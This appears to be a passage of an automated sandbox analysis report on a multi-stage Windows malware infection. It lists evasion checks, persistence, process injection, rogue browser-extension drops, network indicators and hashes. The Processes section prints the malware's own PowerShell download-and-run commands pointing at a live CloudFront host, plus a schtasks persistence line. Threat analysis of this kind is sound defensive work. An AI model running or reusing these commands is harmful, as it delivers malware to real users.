Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Wine C:\Users\Admin\1000017002\11b4d7b64f.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Microsoft\Windows\CurrentVersion\Run\3f18db0985.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000014001\\3f18db0985.exe" C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.amazonaws.com N/A N/A
N/A checkip.amazonaws.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\shlwapi_p.dll C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3048 set thread context of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\Application\chrome.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\Online Security\is-17UQ9.tmp C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\scoped_dir1792_2105546348\extension.zip C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File created C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1216 wrote to memory of 792 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 1216 wrote to memory of 792 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 1216 wrote to memory of 792 N/A C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 792 wrote to memory of 416 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 792 wrote to memory of 416 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 792 wrote to memory of 416 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 792 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 792 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 792 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 1080 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 1080 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 1080 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 2532 wrote to memory of 4996 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 2532 wrote to memory of 4996 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 2532 wrote to memory of 4996 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 4996 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 4996 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 4996 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 4996 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 4996 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 4996 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 792 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe
PID 792 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe
PID 792 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe
PID 2532 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 2532 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 2532 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3048 wrote to memory of 1976 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 888 wrote to memory of 4984 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 888 wrote to memory of 4984 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 888 wrote to memory of 4984 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 4984 wrote to memory of 2748 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 2748 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 2748 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 3652 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 3652 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 3652 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 4972 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4984 wrote to memory of 4972 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4984 wrote to memory of 4972 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4984 wrote to memory of 1932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 1932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4984 wrote to memory of 1932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4972 wrote to memory of 4780 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp
PID 4972 wrote to memory of 4780 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp
PID 4972 wrote to memory of 4780 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp
PID 792 wrote to memory of 2520 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\11b4d7b64f.exe
PID 792 wrote to memory of 2520 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\11b4d7b64f.exe
PID 792 wrote to memory of 2520 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\11b4d7b64f.exe
PID 4780 wrote to memory of 4260 N/A C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 4780 wrote to memory of 4260 N/A C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 4260 wrote to memory of 1792 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4260 wrote to memory of 1792 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1792 wrote to memory of 2052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 1792 wrote to memory of 2052 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4780 wrote to memory of 2348 N/A C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe

"C:\Users\Admin\AppData\Local\Temp\9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe

"C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe

"C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe

"C:\Users\Admin\AppData\Local\Temp\1000014001\3f18db0985.exe"

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsgAD54.tmp\abc.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"

C:\Users\Admin\AppData\Local\Temp\i0.exe

i0.exe /verysilent /sub=1000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"

C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp

"C:\Users\Admin\AppData\Local\Temp\is-HD6O4.tmp\i0.tmp" /SL5="$11006C,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000

C:\Users\Admin\1000017002\11b4d7b64f.exe

"C:\Users\Admin\1000017002\11b4d7b64f.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj > "C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\~execwithresult.txt""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\bzkoxj

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x108,0x10c,0x110,0xe0,0x114,0x7ffd1a47ab58,0x7ffd1a47ab68,0x7ffd1a47ab78

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\bzkoxj.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\~execwithresult.txt""

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\siqrtp > "C:\Users\Admin\AppData\Local\Temp\is-IPO9U.tmp\~execwithresult.txt""

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /f /im "msedge.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /f /im "chrome.exe"

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

Network

Country Destination Domain Proto
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 7.96.42.5.in-addr.arpa udp
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
GB 18.244.183.172:443 d2csnxzxwctx26.cloudfront.net tcp
US 8.8.8.8:53 70.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 roomabolishsnifftwk.shop udp
US 172.67.146.92:443 roomabolishsnifftwk.shop tcp
US 172.67.184.107:443 museumtespaceorsp.shop tcp
US 104.21.45.202:443 buttockdecarderwiso.shop tcp
US 8.8.8.8:53 107.184.67.172.in-addr.arpa udp
US 8.8.8.8:53 202.45.21.104.in-addr.arpa udp
US 104.21.62.60:443 averageaattractiionsl.shop tcp
US 172.67.141.63:443 femininiespywageg.shop tcp
US 104.21.85.81:443 employhabragaomlsp.shop tcp
US 104.21.3.197:443 stalfbaclcalorieeis.shop tcp
US 104.21.49.245:443 civilianurinedtsraov.shop tcp
GB 13.224.246.49:443 d22hce23hy1ej9.cloudfront.net tcp
GB 13.224.246.49:443 d22hce23hy1ej9.cloudfront.net tcp
US 104.21.11.117:443 cdn-edge-node.com tcp
US 104.21.43.83:443 adblock2024.shop tcp
GB 13.224.246.49:443 d22hce23hy1ej9.cloudfront.net tcp
BG 94.156.35.76:80 240429000936002.mjt.kqri92.top tcp
IE 54.72.200.208:443 checkip.amazonaws.com tcp
SE 46.21.101.120:80 rep.pe-wok.biz tcp

Files

memory/1216-0-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-1-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-3-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-2-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-4-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-5-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-7-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/1216-6-0x0000000000B70000-0x00000000010B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 a7ebaf81abe217a8cb36524f5d61a348
SHA1 e821e45c6b111eeca1fc128bf2b3d899da133d5c
SHA256 9a8eb253e846736d49e384075dd16e22a4bdf2427c9a0181b10598014c2e1c95
SHA512 c5bc33ea2f46104784a11a0c9e28c1d9e0d9c2160632b3bca5aee1e32dcfddcb1394f9228cbc67fa7e4fcfb54baff30187e486f67855fc08381d388bbd08f62d

memory/1216-20-0x0000000000B70000-0x00000000010B6000-memory.dmp

memory/792-24-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-28-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-27-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-26-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-25-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-22-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-21-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-23-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/792-29-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-31-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-32-0x0000000000E50000-0x0000000001396000-memory.dmp

memory/3668-33-0x0000000000E50000-0x0000000001396000-memory.dmp

